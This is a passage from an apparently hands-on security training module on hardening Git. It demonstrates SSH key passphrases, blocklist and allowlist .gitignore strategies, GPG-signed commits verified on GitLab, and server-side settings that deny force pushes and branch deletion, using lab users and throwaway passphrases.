user associated with the SSH keys. To further mitigate that risk, it
is recommended that we use an SSH key passphrase.[795]
At that point if our private key is compromised, the individual would
have to provide the passphrase to use it. Once again though, this
gets back to the idea of maintaining credentials. Although it isn't
a username/password combo, it is still something that we know and we
must remember, which means the passphrase is susceptible to similar
password attacks like brute force or password guessing.
To avoid having to provide our passphrase every time we interact
with the server, we can use a similar method as we did with the
username/password where we can enable an SSH agent.[796]
Once our SSH agent is running, we can use ssh-add and provide the
path of the private key. After we provide the passphrase once, the SSH
agent will use the private key to authenticate us from there on. This
is a running program, so without any automatically scheduled tasks
in place, it will need to be re-run if our machine is restarted or
powered off.
Ultimately, even with SSH and a passphrase, the best thing
to implement is two-factor/multi-factor authentication
(2FA/MFA).[797] By combining two or more authentication factors,
it makes unauthorized authentication significantly more difficult.
Even if our credentials or keys were compromised, an attacker would
have to bypass the other authentication factors to get access.
Hosting services like GitLab and GitHub have these authentication
methods available to implement in a relatively simple fashion.
The next section will expand on the idea of being deliberate in what
we push to the remote repository in order to hopefully reduce the
chances of pushing sensitive information like credentials, keys, or
other secrets.
As demonstrated before, there are some files that we don't want
to include in our update to the central repository. While it is
possible to completely remove something from the central repository,
it can prove quite difficult. Not to mention that the more people have
read access to it, the more difficult it will be to undo an unwanted
push. It's best that we avoid pushing something that we do not want to
share with others.
This is where Git's gitignore[798] can be very useful if
we implement it correctly. For example, we can implement gitignore at
different levels like global, shared repository, or local only. Having
a .gitignore file at the root directory of the Git repository can
be useful if we want a file ignored on all the local repositories that
communicate with the central repository. By doing this, we can ignore
the same files across all client machines. This means .gitignore
will be tracked by Git and will be pushed to the central repository.
In turn, other users will be able to pull it and apply the same
changes to their local repository.
Regardless of the level, we can also approach its implementation
with two different strategies. We can either list files that Git
should ignore, or we can ignore all files and explicitly list
files and folders to track. The method we use depends on numerous
factors like how likely is it to push an unwanted file, or what the
impact would be of an unwanted file accidentally being pushed. The
level of access in terms of how many users have read access to the
remote repository could also be a factor. If the repository is the
source code for an application, it might be best to implement an
allowlist[799] approach. While this may be more difficult
to maintain, the security might be worth the impact if something
sensitive was compromised.
First, we will demonstrate how to use gitignore in a
blocklist[800] fashion, then we will show how to
implement it using allow listing.
Let's begin by using SSH to connect to the lab VM as hacker. Next,
let's make a directory named ignore. Then, we can clone the
repository not_so_secret_application. Finally, we will edit the
user Git configuration settings.
hacker@gitsec:~$ mkdir ignore
hacker@gitsec:~$ cd ignore
hacker@gitsec:~/ignore$ git clone ssh://git@gitsec:2222/castle_in_the_sky/not_so_secret_application.git
Cloning into 'not_so_secret_application'...
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 36, done.
Receiving objects: 100% (36/36), 5.82 KiB | 5.82 MiB/s, done.
Resolving deltas: 100% (10/10), done.
remote: Total 36 (delta 0), reused 0 (delta 0), pack-reused 36
hacker@gitsec:~/ignore$ cd not_so_secret_application/
hacker@gitsec:~/ignore/not_so_secret_application$ git config --local user.email "hacker@local"
hacker@gitsec:~/ignore/not_so_secret_application$ git config --local user.name "Hacker"
Listing 40 - Clone repository and edit Git user config settings
Next, let's analyze the applicationTest.sh bash script located in
the user's home directory.
hacker@gitsec:~/ignore/not_so_secret_application$ cat /home/hacker/applicationTest.sh
#!/bin/bash
for num in {1..3}
do
echo 'debug' > debug$num.txt
done
Listing 41 - Display applicationTest.sh contents
The bash script will create three files named debug1.txt,
debug2.txt, and debug3.txt using a for loop. The intent
behind this bash script is to replicate a scenario where an
application outputs files when it is running, so we need to think of
this script in that kind of example.
Let's copy the bash script to the root directory of the Git
repository.
hacker@gitsec:~/ignore/not_so_secret_application$ cp /home/hacker/applicationTest.sh .
Listing 42 - Copy bash script
Before we run this script, let's check the Git status.
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is up to date with 'origin/main'.
Untracked files:
(use "git add <file>..." to include in what will be committed)
applicationTest.sh
nothing added to commit but untracked files present (use "git add" to track)
Listing 43 - Run the git status command
As expected, the bash script needs to be staged. Let's stage it.
hacker@gitsec:~/ignore/not_so_secret_application$ git add applicationTest.sh
Listing 44 - Stage applicationTest.sh
Perfect. Now let's run the script and review what happens, including
checking the Git status.
hacker@gitsec:~/ignore/not_so_secret_application$ ./applicationTest.sh
hacker@gitsec:~/ignore/not_so_secret_application$ ls
README.md applicationTest.sh database debug1.txt debug2.txt debug3.txt externalModules logs sourceCode
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: applicationTest.sh
Untracked files:
(use "git add <file>..." to include in what will be committed)
debug1.txt
debug2.txt
debug3.txt
Listing 45 - Run bash script and review results
After running the application, our three files were created. Git
identified that the files are untracked. Let's imagine the contents
of these files are sensitive and we do not want to push them to
the remote repository. We also know that this script will be run by
multiple users, so we need all client machines to ignore the files.
What we can do is create a .gitignore file at the root directory
of the Git repository, and specify the files to ignore within this
file. Let's take those steps now, and check the Git status again.
hacker@gitsec:~/ignore/not_so_secret_application$ touch .gitignore
hacker@gitsec:~/ignore/not_so_secret_application$ echo 'debug*.txt' > .gitignore
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is up to date with 'origin/main'.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: applicationTest.sh
Untracked files:
(use "git add <file>..." to include in what will be committed)
.gitignore
Listing 46 - Create the .gitignore file
Just as expected, Git ignores these files.
Git recognizes the .gitignore file is untracked and should be
staged. We want to do this because we want all users to ignore the
debug files. Let's stage and commit our changes. Then push the
changes to the remote repository.
hacker@gitsec:~/ignore/not_so_secret_application$ git add .gitignore
hacker@gitsec:~/ignore/not_so_secret_application$ git commit -m "added gitignore file"
[main ba6b2bc] added gitignore file
2 files changed , 6 insertions(+)
create mode 100644 .gitignore
create mode 100755 applicationTest.sh
hacker@gitsec:~/ignore/not_so_secret_application$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (4/4), 539 bytes | 107.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/castle_in_the_sky/not_so_secret_application.git
169e9d3..ba6b2bc main -> main
Listing 47 - Commit and push changes
We were able to successfully commit and push only the
applicationTest.sh and the .gitignore files. Let's switch to
the user collector and clone the repository.
collector@gitsec:~$ git clone ssh://git@gitsec:2222/castle_in_the_sky/not_so_secret_application.git
Cloning into 'not_so_secret_application'...
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (32/32), done.
Receiving objects: 100% (40/40), 6.17 KiB | 6.17 MiB/s, done.
Resolving deltas: 100% (11/11), done.
remote: Total 40 (delta 11), reused 0 (delta 0), pack-reused 0
collector@gitsec:~$ cd not_so_secret_application/
collector@gitsec:~/not_so_secret_application$ ls
README.md applicationTest.sh database externalModules logs sourceCode
collector@gitsec:~/not_so_secret_application$ cat .gitignore
debug*.txt
Listing 48 - Review cloned files under the collector user
Perfect. We confirmed the three debug*.txt files were ignored and
thus were not pushed to the remote repository. Consequently, they were
not pulled within the local repository of collector.
Let's explore the disadvantages of block listing while still logged
in as collector. We'll edit applicationTest.sh to name the files
log*.txt.
While collector would be responsible for updating the .gitignore
file accordingly, let's assume they forgot.
collector@gitsec:~/not_so_secret_application$ git config --local user.email "collector@local"
collector@gitsec:~/not_so_secret_application$ git config --local user.name "Collector"
collector@gitsec:~/not_so_secret_application$ vi applicationTest.sh
collector@gitsec:~/not_so_secret_application$ cat applicationTest.sh
#!/bin/bash
for num in {1..3}
do
echo 'debug' > log$num.txt
done
Listing 49 - Change applicationTest.sh
Next, let's commit and push this change.
collector@gitsec:~/not_so_secret_application$ git add applicationTest.sh
collector@gitsec:~/not_so_secret_application$ git commit -m "adjusted applicationTest.sh"
[main 31d06e5] adjusted applicationTest.sh
1 file changed, 1 insertion(+), 1 deletion(-)
collector@gitsec:~/not_so_secret_application$ git push
Enter passphrase for key '/home/collector/.ssh/id_rsa': collector1!
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 326 bytes | 108.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/castle_in_the_sky/not_so_secret_application.git
ba6b2bc..31d06e5 main -> main
Listing 50 - Commit and push change
Now, let's switch to the user hacker, and pretend we are not aware
of the changes that we just made by collector. In this instance,
one change within one commit is simple to analyze. But let's imagine
hundreds of lines of code within several files and numerous commits
exists. Analyzing all the changes could either be very time-consuming
or difficult. We will assume that we missed the change and move
forward with running the script.
hacker@gitsec:~/ignore/not_so_secret_application$ git pull
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), 306 bytes | 153.00 KiB/s, done.
From ssh://gitsec:2222/castle_in_the_sky/not_so_secret_application
ba6b2bc..31d06e5 main -> origin/main
Updating ba6b2bc..31d06e5
Fast-forward
applicationTest.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
hacker@gitsec:~/ignore/not_so_secret_application$ ./applicationTest.sh
Listing 51 - Pull and run the bash script
Next, let's say we added several files to the repository. We are
confident in the changes we made, so we will stage all of our work
using the period (.) symbol. Using this symbol stages every untracked
file. Then, we will commit and push it to the repository.
hacker@gitsec:~/ignore/not_so_secret_application$ touch file1
hacker@gitsec:~/ignore/not_so_secret_application$ touch file2
hacker@gitsec:~/ignore/not_so_secret_application$ touch file3
hacker@gitsec:~/ignore/not_so_secret_application$ git add .
hacker@gitsec:~/ignore/not_so_secret_application$ git commit -m "added a few files for the application"
[main 04293a8] added a few files for the application
6 files changed, 3 insertions(+)
create mode 100644 file1
create mode 100644 file2
create mode 100644 file3
create mode 100644 log1.txt
create mode 100644 log2.txt
create mode 100644 log3.txt
hacker@gitsec:~/ignore/not_so_secret_application$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (4/4), 557 bytes | 185.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/castle_in_the_sky/not_so_secret_application.git
31d06e5..04293a8 main -> main
Listing 52 - Add a few files, commit, and push to the repository
Let's discuss what happened. Unfortunately, the user hacker was not
aware of the change within the script.
This resulted in accidentally pushing the log files to the remote
repository. The log files include secrets that are a great risk to
the company if compromised. While the commit output displays the log
files, it isn't uncommon for individuals not to analyze every file
that was changed, especially if many files were changed. This scenario
is very realistic and the repercussions can be detrimental.
While there are other lessons learned, like not using the period (.)
symbol with the git add command, this scenario could have been
mitigated by following a different approach using gitignore. Let's
change our perspective a little bit by using an allowlist approach.
Let's begin by editing the .gitignore file.
01 # ignore everything
02 *
03
04 # don't ignore the following files
05 !.gitignore
06 !README.md
07 !applicationTest.sh
08
09 # don't ignore the following directories
10 !database/**
11 !externalModules/**
12 !logs/**
13 !sourceCode/**
Listing 53 - .gitignore code block
Let's review the code block. Lines 1, 4, and 9 are comments. We can
use the hashtag/pound symbol (#) to comment a line. Comments generally
explain the next line or set of lines of code. Line 2 uses a wildcard,
which ignores all files and folders within the repository. This is
one way to create an allowlist approach. It will ignore everything
until we explicitly inform Git not to ignore it using the exclamation
point (!) symbol. Lines 5-7 and 10-13 use this logic where Git will
not ignore those files and folders. This approach will automatically
ignore any new file/folder unless we add it to the file as an item not
to ignore.
Let's stage and commit it. Then, let's add a new file and run git
status.
hacker@gitsec:~/ignore/not_so_secret_application$ git add .gitignore
hacker@gitsec:~/ignore/not_so_secret_application$ git commit -m "adjusted gitignore"
[main 71a09f3] adjusted gitignore
1 file changed, 13 insertions(+), 1 deletion(-)
hacker@gitsec:~/ignore/not_so_secret_application$ echo 'new file to use for the application' > newApplicationFile.txt
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)
nothing to commit, working tree clean
Listing 54 - Add new file and check git status
As expected, even though we added a file, Git does not recognize
it as an untracked file. This is because we have not added it to
.gitignore as an exception.
Let's repeat the scenario from before and use a text editor to
adjust the code of applicationTest.sh from log$num.txt to
file$num.txt. Then, run the script and check the git status.
hacker@gitsec:~/ignore/not_so_secret_application$ vi applicationTest.sh
hacker@gitsec:~/ignore/not_so_secret_application$ ./applicationTest.sh
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: applicationTest.sh
no changes added to commit (use "git add" and/or "git commit -a")
Listing 55 - Adjust the bash script and run again
Once again, Git is tracking applicationTest.sh because we
explicitly included it in .gitignore. In this instance, we
can manually add newApplicationFile.txt and not worry about
accidentally staging the newly created sensitive files.
In situations where we add a lot of files, having to allowlist all
of them might be a lot of work. However, the time and effort invested
might be worth reducing the risk of accidentally compromising
sensitive data. Every situation is different, but knowing that two
methods exist can help identify which approach works best for our
situation.
In another scenario, let's assume that we have sensitive files
that are used in a repository that only exists on our machine.
In this situation, it wouldn't make sense to add these files to
.gitignore. This might be to either avoid confusion or for further
security purposes. For example, showing that the repository ignores
id_rsa reveals that individuals' private keys are likely located
within their local repository. While this information alone might
not be critical, knowing this information could be chained with other
attacks that can lead to further exploits.
In a situation like this, it might be better to implement
.gitignore on the local repository only.
Let's clean our working directory and push our changes to the remote
repository. We will begin by deleting the files, committing the
changes, and pushing them to the remote repository.
hacker@gitsec:~/ignore/not_so_secret_application$ rm .gitignore file* log*.txt debug* newApplicationFile.txt applicationTest.sh
hacker@gitsec:~/ignore/not_so_secret_application$ git add .
hacker@gitsec:~/ignore/not_so_secret_application$ git commit -m "remove files to start over"
[main 1fba412] remove files to start over
8 files changed, 21 deletions(-)
delete mode 100644 .gitignore
delete mode 100755 applicationTest.sh
delete mode 100644 file1
delete mode 100644 file2
delete mode 100644 file3
delete mode 100644 log1.txt
delete mode 100644 log2.txt
delete mode 100644 log3.txt
hacker@gitsec:~/ignore/not_so_secret_application$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Compressing objects: 100% (5/5), done.
Writing objects: 100% (5/5), 601 bytes | 150.00 KiB/s, done.
Total 5 (delta 2), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/castle_in_the_sky/not_so_secret_application.git
04293a8..1fba412 main -> main
Listing 56 - Clean working directory
Next, let's create newApplicationFile.txt again and run git
status.
hacker@gitsec:~/ignore/not_so_secret_application$ echo 'new file to use for the application' > newApplicationFile.txt
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is up to date with 'origin/main'.
Untracked files:
(use "git add <file>..." to include in what will be committed)
newApplicationFile.txt
nothing added to commit but untracked files present (use "git add" to track)
Listing 57 - Create a new file and run git status
This time, instead of creating a .gitignore file, we can add a
line to the exclude file located in /.git/info/. This file
is not tracked as part of Git's versioning system and will therefore
remain local. This file achieves the same result, but on this machine
alone.
hacker@gitsec:~/ignore/not_so_secret_application$ echo 'newApplicationFile.txt' >> .git/info/exclude
hacker@gitsec:~/ignore/not_so_secret_application$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean
Listing 58 - Add newApplicationFile.txt to the exclude file
Perfect! Git is ignoring newApplicationFile.txt. Because this
ignore is local only, we don't have to push any changes to the remote
repository.
As mentioned before, gitignore can also be implemented at the global
level. We can achieve this by editing Git configuration settings
globally. This is helpful in situations where we have multiple
repositories and want to apply gitignore rules to all of the local
repositories under our user.
Being able to identify at which level to apply .gitignore
and whether to use a blocklist or an allowlist approach will
come with experience. Many different factors and situations can
dictate the solution. In some situations, we might even have to
apply .gitignore at multiple or all levels. If that is the
case, we should keep in mind that Git does have a precedence
order[798-1] and Git will apply the last rule that matches
the pattern. For example, Git checks the .gitignore file before
the exclude file. If we blocklist test.txt in .gitignore,
but allowlist it in exclude, Git will track it. We must keep
this logic in mind so that we don't accidentally ignore files we don't
want to ignore or vice versa.
We have demonstrated how authentication happens between the client
and the server using SSH keys. While that process authenticates the
client, it does not verify the commit's authorship. For instance, the
user hacker could run git config --local user.name "Collector"
and impersonate the user collector. When we analyze the commit
author, it will display the user collector, even though in reality
the user hacker committed that data.
From disgruntled employees to an attacker attempting to cause
confusion, this limited user verification can have devastating
consequences. For example, if forensic analysts were trying to analyze
a breach, it could be more difficult to identify commits where an
attacker impersonated a user as opposed to commits that were made by
the user themselves.
Non-repudiation[801] is a term used to validate the
author of an item. In this case, it verifies a commit to an author. To
implement this, we can create the process of signing[802]
commits and verify the signature. To be clear, simply signing a commit
does not verify it. Once the signature is verified, the commit will be
marked accordingly.
Git has various ways to implement commit signing. Let's demonstrate
one of those ways by using GNU Privacy Guard (GPG)[803] keys.
The process is very similar to generating SSH keys and adding the
public key to our Git server account. While we can demonstrate this
using a self-hosted Git server, it is easier to explain this concept
using GitLab. Setting up a self-hosted Git server requires additional
steps, which is out of scope. Instead, we will use a self-hosted
GitLab instance.
First, we will generate GPG keys. Then, we will configure our local
Git repository to use our GPG private key to sign commits. Lastly, we
will copy our GPG public key and add it to our GitLab user account.
The GitLab server will use the public key to verify the signature of
the commit once we push it to the remote repository. If there is a
match, GitLab will mark it as "verified". Otherwise, it will be marked
as "unverified".
Let's perform each step of this process to better understand it.
Ensure the Lab VM is running. If you have followed along from
the previous section. you will need to revert the VM. Once the VM is
ready, log in via SSH as the user hacker.
Since GPG is already installed, we can generate the GPG keys using
the gpg command. As part of the command, we will also use the
--full-generate-key option. This option provides dialogs for
every option. We will need to provide the exact input as shown in the
Listing below. Lastly, during the process, we will be asked to provide
a passphrase, as displayed in Figure 8. We
will use hacker1! as the passphrase.
hacker@gitsec:~$ gpg --full-generate-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: directory '/home/hacker/.gnupg' created
gpg: keybox '/home/hacker/.gnupg/pubring.kbx' created
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
(14) Existing key from card
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (3072) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y
GnuPG needs to construct a user ID to identify your key.
Real name: Hacker
Email address: hacker@local
Comment: Git signature
You selected this USER-ID:
"Hacker (Git signature) <hacker@local>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /home/hacker/.gnupg/trustdb.gpg: trustdb created
gpg: key E64D0EAF951989A4 marked as ultimately trusted
gpg: directory '/home/hacker/.gnupg /openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/hacker/.gnupg/openpgp-revocs.d/2D21AFA7406525566D2ADDD6E64D0EAF951989A4.rev'
public and secret key created and signed.
pub rsa4096 2022-11-23 [SC]
2D21AFA7406525566D2ADDD6E64D0EAF951989A4
uid Hacker (Git signature) <hacker@local>
sub rsa4096 2022-11-23 [E]
Listing 59 - Generate GPG keys
Once the GPG keys finish generating, the command should display
the location of the keys and a successful message that a public
and a private key were created. We will need the private key
ID, so let's use the gpg command to do that. We will use the
list-secret-keys option, as opposed to --list-keys. The
former provides us with the private key ID, while the latter displays
the public key ID. We will also specify the --keyid-format as
long so it displays the full private key ID information. Please
note that key IDs will differ. As we follow along, we will need to
replace any key IDs that are displayed in the Listings with ones that
we generate while stepping through the commands ourselves.
hacker@gitsec:~$ gpg --list-secret-keys --keyid-format=long
gpg: checking the trustdb
gpg: marginals needed: 3 completes needed: 1 trust model: pgp
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
/home/hacker/.gnupg/pubring.kbx
-------------------------------
sec rsa4096/E64D0EAF951989A4 2022-11-23 [SC]
2D21AFA7406525566D2ADDD6E64D0EAF951989A4
uid [ultimate] Hacker (Git signature) <hacker@local>
ssb rsa4096/749F931541D57D64 2022-11-23 [E]
Listing 60 - List private key ID
We will use the private key ID bolded in red text. We will annotate
the GPG key ID bolded in green text and hold that number to the side
for a later time.
Then, we'll change directories to my_comic_collection. We will
use the private key ID to configure the local Git user configuration
settings. To confirm, we display the config file in the .git
directory.
hacker@gitsec:~$ cd my_comic_collection/
hacker@gitsec:~/my_comic_collection$ git config --local user.signingkey E64D0EAF951989A4
hacker@gitsec:~/my_comic_collection$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = ssh://git@gitsec:2222/follow_along/my_comic_collection.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
[user]
email = hacker@local
name = Hacker
signingkey = E64D0EAF951989A4
Listing 61 - Configure Git user settings
The last step we need to do before signing a commit is to assign
the value of tty to the GPG_TTY environment variable using
the export command. This is important for the gpg-agent command
to work properly. This allows us to provide the passphrase when we
attempt to sign a commit. In the background, signing a commit invokes
the gpg agent, which requires the passphrase to work successfully.
Without getting too technical, in short, the agent allows us to
provide input to the terminal, which it then takes and compares to the
correct passphrase. If there's a match, it will sign the commit with
our selected GPG private key.
hacker@gitsec:~/my_comic_collection$ export GPG_TTY=$(tty)
hacker@gitsec:~/my_comic_collection$ echo $(tty)
/dev/pts/0
hacker@gitsec:~/my_comic_collection$ echo $GPG_TTY
/dev/pts/0
Listing 62 - Assign tty value to GPG_TTY environment variable
Perfect! Our local Git settings are configured to sign commits. Before
we export and copy the GPG public key, let's sign a commit and push
it to the remote repository. We will achieve this by adding the -S
option to git commit. Before signing the commit, a prompt window
will appear requiring us to provide the passphrase. After we provide
the passphrase, let's review the results. How does the server handle a
signed commit that it cannot verify?
hacker@gitsec:~/my_comic_collection$ echo 'my first signed commit' > signedCommit.txt
hacker@gitsec:~/my_comic_collection$ git add signedCommit.txt
hacker@gitsec:~/my_comic_collection$ git commit -S -m "first signed commit"
[main a154114] first signed commit
1 file changed, 1 insertion(+)
create mode 100644 signedCommit.txt
hacker@gitsec:~/my_comic_collection$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 957 bytes | 957.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/follow_along/my_comic_collection.git
b5a700f..a154114 main -> main
Listing 63 - Sign commit and push to remote repository
Nice! We signed our first commit. Next, let's log in to the GitLab
hacker user account and review the commit we just pushed. The
commit will be labeled as "Unverified", meaning it was signed but not
verified. We can have GitLab display more information by clicking on
the label.
If we recall from earlier, we annotated the GPG key ID to the side,
2D21AFA7406525566D2ADDD6E64D0EAF951989A4. As shown when we click
the label, the same ID is displayed. This is one way for us to confirm
that our private key was used to sign this commit. However, GitLab
needs the GPG public key to officially verify the signature. Let's
export and copy the GPG public key to our GitLab user account.
First, let's return to our terminal. Then, let's use the gpg
command. We will use the --armor option to output the key in
an ASCII-armored format, and --export to export it. We will
also need to specify the private key ID that we used earlier,
E64D0EAF951989A4.
hacker@gitsec:~/my_comic_collection$ gpg --armor --export E64D0EAF951989A4
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGN+eBIBEADU+Bx9qgFZerWCHjaGT9ujzOGf63hc4rA8nLQQLIpZtKjc+mRr
...
OOu2zL02tyx0bnNfcribCTrDcq6KYz+gHQsjeGBG4bz690UEusS/BW88KFeZrxvb
xw==
=o3x9
-----END PGP PUBLIC KEY BLOCK-----
Listing 64 - Export public key
We truncated the output in the Listing above for easier readability.
However, we will need to copy the entirety of the public key and
paste it to the GPG user settings for GitLab. Let's switch back to our
browser where the user hacker is logged in. We'll navigate to the
"User Settings" and find the "GPG Keys" option on the left-hand side.
Then, we can click that option to display the page.
Let's paste the exported public key in the text box and press the "Add
Key" button.
One GPG key should now appear on this page, as shown in the screenshot
below.
Let's return to our terminal, where we will commit and push a new
signed commit. However, this time the server can use the public key to
verify our signature.
hacker@gitsec:~/my_comic_collection$ echo 'my second signed commit' >> signedCommit.txt
hacker@gitsec:~/my_comic_collection$ git add signedCommit.txt
hacker@gitsec:~/my_comic_collection$ git commit -S -m "second signed commit"
[main 2b51956] second signed commit
1 file changed, 1 insertion(+)
hacker@gitsec:~/my_comic_collection$ git push
Enter passphrase for key '/home/hacker/.ssh/id_rsa': hacker1!
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 942 bytes | 942.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To ssh://gitsec:2222/follow_along/my_comic_collection.git
a154114..2b51956 main -> main
Listing 65 - Sign and commit a second time
Finally, let's review the commit in our GitLab web portal.
Great! This time around, our commit is labeled as "Verified". This
means GitLab verified the signature.
Similar to the issue with SSH keys, if our GPG private key is
compromised, and our passphrase is cracked or identified, a malicious
actor can impersonate us. This method is not foolproof, but it
is a way to create a layered defense in increasing our security
posture.
In this section, we discussed the importance of unsigned commits and
we demonstrated one method to implement to address that. In the final
section of this Learning Unit, we will discuss access control as it
pertains to Git.
We've covered authentication[804] earlier, but we
have not discussed authorization.[805] Once a user
has authenticated, it's best practice to restrict what actions a user
can perform. This is where authorization plays a role.
For example, we might restrict certain actions depending on the role
to help reduce either accidental or deliberate manipulations of the
data within the remote repository. In other words, not every user
requires elevated permissions. To help address this, Git has some
flexibility to limit that.
The following commands are implemented on a system that is
self-hosting a Git server. As stated previously, implementing a
Git server requires additional steps that are out of scope for this
section. Unlike the rest of this module where we can follow along with
in our lab VM, this section is for demonstrative purposes only. This
section is meant to simply introduce the fact that we can configure
access control, and show some examples. Configuring a Git server, to
include access control, could be a module of its own.
These permissions are configured on the server using git config
--system. For instance, we can restrict users from running force
pushes to the repository by setting receive.denyNonFastForwards to
true. This is generally a best practice because it avoids manipulating
the commit history of the remote server.
kali@kali:~$ git config --system receive.denyNonFastForwards true
Listing 66 - Set receive.denyNonFastForwards to true
For similar security reasons, we can also deny users the ability to
delete remote branches, by setting receive.denyDeletes to true.
kali@kali:~$ git config --system receive.denyDeletes true
Listing 67 - Set receive.denyDeletes to true
Another action we can take is to implement server-side Git
hooks,[806] which are custom scripts that we can run either on
the client or the server to perform some type of automated task upon a
trigger.
As an example, if the user hacker attempts to push updates
to the sourceCode directory, we can deny that action. With
server-side hooks, we can limit permissions and implement things like
Access-Control Lists (ACL).[807]
Hooks are an advanced topic and will not be covered further in this
module.
Without authorization, all the users would have equal and unrestricted
permissions. This raises the risk of catastrophic events occurring,
like permanent data loss. Git has several server-side options, like
configuration settings or hooks, where we can restrict permissions
or deny certain actions from occurring. Depending on other business
factors, using a hosting service might be a better option to implement
access permissions in a more user-friendly manner.
Although Git has a lot of capabilities in terms of configuring either
task or user-specific actions, the learning curve can sometimes feel
overwhelming. With a lot of flexibility comes a lot of learning. A
more user-friendly alternative is to use a hosting service like GitLab
or GitHub. These hosting services have similar capabilities but are
arguably a little easier to learn and implement.
In this section, we will complete challenges that put some of the
security concepts we have discussed into practice.
The goal of these challenges isn't to become effective offensive or
defensive cybersecurity practitioners. However, one way to practice
some of these concepts is to place ourselves in a cybersecurity
professional's perspective. In turn, having a better understanding of
these concepts can help us implement and use Git more securely.
To be successful, we should focus on the concepts that were discussed
in this Learning Unit. We will know when we have identified a key
piece of information because an associated flag will be present.
There's more to just submitting the flag though. We should understand
things like why a flag is present, what security concept is being
demonstrated, what repercussions this could have in the real world,
and what can we do to mitigate and reduce the risk.
Browse to http://<ip>:8080/challenge/challenge to begin.
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/History_of_Linux↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Kernel_(operating_system)↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Minix↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Microkernel↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/GNU_Hurd↩︎
-
(Canonical Ltd, 2023), https://ubuntu.com/↩︎
-
(Canonical Ltd, 2023), https://ubuntu.com/tutorials/command-line-for-beginners#1-overview↩︎
-
(MIT, 2000), http://web.mit.edu/gnu/doc/html/features_4.html#SEC20↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Drive_letter_assignment↩︎
-
(linuxcommand.org, 2020), https://linuxcommand.org/lc3_man_pages/ls1.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard↩︎
-
